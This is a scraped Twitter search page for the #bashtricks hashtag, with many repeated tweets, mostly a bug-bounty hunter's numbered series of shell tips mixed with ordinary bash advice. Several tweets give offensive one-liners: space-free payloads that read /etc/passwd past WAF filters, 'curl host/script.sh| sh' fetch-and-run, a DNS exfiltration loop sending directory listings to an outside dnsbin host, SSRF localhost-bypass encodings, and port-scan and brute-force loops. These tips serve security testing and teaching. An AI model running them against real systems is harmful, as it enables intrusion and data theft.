#bashtricks search results
[01/30] #bashtricks Sometimes I receive bash scripting questions via DM, so I'm going to start sharing 30 bash tricks, that I know that makes life easier (1 per day): save bash session output with command "script filename.txt", type any commands & then exit #BugBounty #infosec
[13/30] #bashtricks - magic execution methods can u upload any file on the server but can't u use chmod? try . ./script.sh (dot space ./script.sh) {.,./script.sh} bash < ./script.sh cat ./script.sh | sh curl host/script.sh| sh #BugBounty #infosec
[15/30] #bashtricks - sync dirs with rsync Did you know that you can sync dirs between your local machine and your VPS with rsync? a lot of hunters use a VPS as bb machine, so this can be useful to get all files from any VPS dir to your local or vice versa #BugBounty #infosec
[10/30] #bashtricks - execute commands without space need to execute some command but "space" is blocked by WAF or regex? try IFS=,;`cat<<<cat,/etc/passwd` cat$IFS/etc/passwd cat${IFS}/etc/passwd cat</etc/passwd {cat,/etc/passwd} X=$'cat\x20/etc/passwd'&&$X #BugBounty #infosec
alias lastmod="find . -type f -exec stat --format '%Y :%y %n' \"{}\" \; | sort -nr | cut -d: -f2-" Recursively find&sort the last modified files in your current directory. Useful for seeing modifications done by a colleague! #bashtricks @nixcraft
[08/30] #bashtricks - raw scanners/fuzzers with for loop scan 65535 ports with curl, wget or even netcat with: for var in {1..65535};do curl -s host:$var;done brute force files or directories: for var in $(cat wordlist.txt);do curl host/$var;done #Bugbounty #infosec
[04/30] #bashtricks grep reference "man grep" one of my favorite gnu tools; most times we use grep to filter simple strings, but is a flexible and powerful, tool and as it name says, can use regular expressions, per example to get API keys #BugBounty #infosec
[09/30] #bashtricks - (g)old exploiting SSRF with localhost IP obscure techniques, super dope reference pc-help.org/obscure.htm http://[::] http://0 localtest.me http://2130706433 http://0x7f000001 http://0x7f.0x00.0x00.0x01 http://0177.0.0.01 #Bugbounty #infosec
[12/30] #bashtricks - using time in bash checking how much takes any command in bash just adding the command time before the command, run commands until X time, and another interesting stuff with time commands in bash, reference: man time, man timeout #BugBounty #infosec
[14/30] #bashtricks - command find in bash find command handbook in 5 minutes find works basically with the following syntax find [path] [string/pattern] [action] per example, you can find all the AWS keys in any *.sh in the whole root partition '/' #BugBounty #infosec
#bashtricks ripgrep reference "man rg" I don't why I didn't know about ripgrep (shame on me), is like grep on steroids super faster, matching 5,000 domains into 20 million users csv file with ripgrep in 41 secs vs grep that didn't finish after 1 hr, w00t! #Bugbounty #infosec
#bashTricks When making complicated for loop one-liners 1) Use echo to see the command without running it. 2) Pipe the command to bash -x to see the command and the result
[11/30] #bashtricks - http static web servers one-liners no Apache, XAMPP, etc, no problem, reference gist.github.com/willurd/5720255 python -m SimpleHTTPServer 8000 python3 -m http.server 8000 ruby -run -ehttpd . -p8000 (v1.9.2+) php -S 127.0.0.1:8000 (php v5.4+) #BugBounty #infosec
[06/30] #bashtricks - jq cmdlineJSON processor "ref man jq" if you love the terminal & need to work with JSON, some times it is a headache handle that objects, so jq is your best friend, you can extract objects, arrays, keys & values, plus colorized output. #BugBounty #infosec
[05/30] #bashtricks raw TCP connection with file descriptors. no cURL, wget, telnet or netcat, no problem, if you got shell access, you can create a raw TCP connection with file descriptors, per example to "example.com " (dev/tcp/host/port): #BugBounty #infosec
[ 07/30] #bashtricks (g)old - RCE via DNS based data exfiltration even is there is a firewall blocking 80 & 443 ports, works on port 53 & most times is open go to dnsbin.zhack.ca execute a simple 'ls' for i in $(ls);do host $i.96a755.d.zhack.ca;done #Bugbounty #infosec
[02/30] #bashtricks formatting huge js files in terminal for better visualization or grep comfort with js-beautify (npm install js-beautify), per example "cat big.js | js-beautify" or in reactnative apk, we can pull index.android.bundle & format it #BugBounty #infosec
Not sure if this counts as #bashTricks or not. The ip command supports different output formats -o is oneline, -j is json, -p is pretty (the default)
A nice bash alias to find out which process is eating your port, a must have!! #bashtricks #commandline #macos
I'm not sure who needs to hear this: for i in {1..255} ;do echo 2>/dev/null >/dev/tcp/192.168.7.$i/22; if [ $? -eq 0 ]; then echo $i open; else echo $i closed; fi;done #bashtricks
Want to see some shell magic? Just type cd ~ and watch the terminal do its 🪄 #Basics #BashTricks
Do you know that you can pipe output to FFUF tool? This works great if you want to chain multiple tools or just pass the output to fuzz: cat wordlist.txt | ffuf -w - -u target.com/FUZZ #bugbountytip #bashtricks #Hacking
8/ ⚙️ Command Line Arguments: Accept input from users. Access arguments using $1, $2, and so on. Example: ./script.sh arg1 arg2. Get interactive! 💬🤖 #CommandLineArgs #BashTricks
"¿Sabías que puedes usar #Bash para eliminar archivos de más de 30 días? 🗂️💻 Con el comando 'find' y la opción '-mtime +30', puedes encontrar y borrar fácilmente archivos antiguos. ¡Mantén tu sistema limpio y ordenado! #LinuxTips #BashTricks"
Not sure if this counts as #bashTricks or not. The ip command supports different output formats -o is oneline, -j is json, -p is pretty (the default)
Find the interface name for a specific address with ip #bashTricks $ ip -o -4 a | awk '/192.168.7.21/ {print $2}' ens192
Single and Multiple Empty Files Creation in Linux Terminal | touch command #Linux #unix #bashTricks #commands youtu.be/nmmoX4iNUu4 via @YouTube
Thanks! I've perused the majority but there's always more to know. @egyp7's Defcon talk and #bashtricks tweets are a great primer, as well. Seeing what smart folk do in practice and reverse-engineering new tricks seems like a win for time.
#bashtricks #bugbounty #RECON Grep URLs from a page: curl -s google.com | grep -Eo 'http[s]://[a-zA-Z0-9./?=_%:&-]*'
#bashtricks (#readlinetricks ?) ... If you hate highlighted paste in your prompt like I do: echo "set enable-bracketed-paste off" >> ~/.inputrc
Great thread and reminds me of @egyp7's #bashTricks threads, if I'm #hashtagging properly
alias lastmod="find . -type f -exec stat --format '%Y :%y %n' \"{}\" \; | sort -nr | cut -d: -f2-" Recursively find&sort the last modified files in your current directory. Useful for seeing modifications done by a colleague! #bashtricks @nixcraft
#bashtricks ripgrep reference "man rg" I don't why I didn't know about ripgrep (shame on me), is like grep on steroids super faster, matching 5,000 domains into 20 million users csv file with ripgrep in 41 secs vs grep that didn't finish after 1 hr, w00t! #Bugbounty #infosec
Difference between < << and <<< in #bash < ;read in from a file cat < /etc/passwd << ;read in from heredoc document sort -u << EOF | sed -e 's/2020//' 2020 2019 2020 2021 EOF <<< ;read in from a string tr ' ' '\n' <<< "Hi folks! Bon week-end" #cli #bashtricks
Worthy of #bashTricks , there's always more to learn.
TIL about the paste command. Where have you been my whole life?? *nix is an endless well of amazing text manipulation commands. (inb4 yall 1up me with sed/awk craziness)
#bashTricks When making complicated for loop one-liners 1) Use echo to see the command without running it. 2) Pipe the command to bash -x to see the command and the result
[09/30] #bashtricks - (g)old exploiting SSRF with localhost IP obscure techniques, super dope reference pc-help.org/obscure.htm http://[::] http://0 localtest.me http://2130706433 http://0x7f000001 http://0x7f.0x00.0x00.0x01 http://0177.0.0.01 #Bugbounty #infosec
[01/30] #bashtricks Sometimes I receive bash scripting questions via DM, so I'm going to start sharing 30 bash tricks, that I know that makes life easier (1 per day): save bash session output with command "script filename.txt", type any commands & then exit #BugBounty #infosec
[10/30] #bashtricks - execute commands without space need to execute some command but "space" is blocked by WAF or regex? try IFS=,;`cat<<<cat,/etc/passwd` cat$IFS/etc/passwd cat${IFS}/etc/passwd cat</etc/passwd {cat,/etc/passwd} X=$'cat\x20/etc/passwd'&&$X #BugBounty #infosec
[13/30] #bashtricks - magic execution methods can u upload any file on the server but can't u use chmod? try . ./script.sh (dot space ./script.sh) {.,./script.sh} bash < ./script.sh cat ./script.sh | sh curl host/script.sh| sh #BugBounty #infosec
[15/30] #bashtricks - sync dirs with rsync Did you know that you can sync dirs between your local machine and your VPS with rsync? a lot of hunters use a VPS as bb machine, so this can be useful to get all files from any VPS dir to your local or vice versa #BugBounty #infosec
[04/30] #bashtricks grep reference "man grep" one of my favorite gnu tools; most times we use grep to filter simple strings, but is a flexible and powerful, tool and as it name says, can use regular expressions, per example to get API keys #BugBounty #infosec
[08/30] #bashtricks - raw scanners/fuzzers with for loop scan 65535 ports with curl, wget or even netcat with: for var in {1..65535};do curl -s host:$var;done brute force files or directories: for var in $(cat wordlist.txt);do curl host/$var;done #Bugbounty #infosec
alias lastmod="find . -type f -exec stat --format '%Y :%y %n' \"{}\" \; | sort -nr | cut -d: -f2-" Recursively find&sort the last modified files in your current directory. Useful for seeing modifications done by a colleague! #bashtricks @nixcraft
[14/30] #bashtricks - command find in bash find command handbook in 5 minutes find works basically with the following syntax find [path] [string/pattern] [action] per example, you can find all the AWS keys in any *.sh in the whole root partition '/' #BugBounty #infosec
[12/30] #bashtricks - using time in bash checking how much takes any command in bash just adding the command time before the command, run commands until X time, and another interesting stuff with time commands in bash, reference: man time, man timeout #BugBounty #infosec
[11/30] #bashtricks - http static web servers one-liners no Apache, XAMPP, etc, no problem, reference gist.github.com/willurd/5720255 python -m SimpleHTTPServer 8000 python3 -m http.server 8000 ruby -run -ehttpd . -p8000 (v1.9.2+) php -S 127.0.0.1:8000 (php v5.4+) #BugBounty #infosec
[06/30] #bashtricks - jq cmdlineJSON processor "ref man jq" if you love the terminal & need to work with JSON, some times it is a headache handle that objects, so jq is your best friend, you can extract objects, arrays, keys & values, plus colorized output. #BugBounty #infosec
[ 07/30] #bashtricks (g)old - RCE via DNS based data exfiltration even is there is a firewall blocking 80 & 443 ports, works on port 53 & most times is open go to dnsbin.zhack.ca execute a simple 'ls' for i in $(ls);do host $i.96a755.d.zhack.ca;done #Bugbounty #infosec
[05/30] #bashtricks raw TCP connection with file descriptors. no cURL, wget, telnet or netcat, no problem, if you got shell access, you can create a raw TCP connection with file descriptors, per example to "example.com " (dev/tcp/host/port): #BugBounty #infosec
#bashtricks ripgrep reference "man rg" I don't why I didn't know about ripgrep (shame on me), is like grep on steroids super faster, matching 5,000 domains into 20 million users csv file with ripgrep in 41 secs vs grep that didn't finish after 1 hr, w00t! #Bugbounty #infosec
#bashTricks When making complicated for loop one-liners 1) Use echo to see the command without running it. 2) Pipe the command to bash -x to see the command and the result
[02/30] #bashtricks formatting huge js files in terminal for better visualization or grep comfort with js-beautify (npm install js-beautify), per example "cat big.js | js-beautify" or in reactnative apk, we can pull index.android.bundle & format it #BugBounty #infosec
Activar opción para no permitir la sobreescritura de archivos. > set -o noclobber # activar > set +o noclobber # desactivar #linux #bashtricks #unix #programmer #bash #zsh #iterm #mac #DevOps #developers
#bashtricks #bugbounty #RECON Grep URLs from a page: curl -s google.com | grep -Eo 'http[s]://[a-zA-Z0-9./?=_%:&-]*'
A nice bash alias to find out which process is eating your port, a must have!! #bashtricks #commandline #macos
Something went wrong.
Something went wrong.
United States Trends
- 1. Raindotgg 1,190 posts
- 2. Louisville 14.1K posts
- 3. Lubin 5,189 posts
- 4. #GoAvsGo 1,465 posts
- 5. UCLA 7,590 posts
- 6. Batum N/A
- 7. Nuss 5,510 posts
- 8. Emmett Johnson 2,161 posts
- 9. Miller Moss 1,187 posts
- 10. #Huskers 1,056 posts
- 11. #FlyTogether 1,725 posts
- 12. Bama 13.6K posts
- 13. #MASHLE 1,121 posts
- 14. Oilers 4,484 posts
- 15. #Toonami 1,643 posts
- 16. Brohm 1,137 posts
- 17. Nikki Glaser N/A
- 18. Lateef 2,215 posts
- 19. Pete Davidson N/A
- 20. Devin Booker 2,598 posts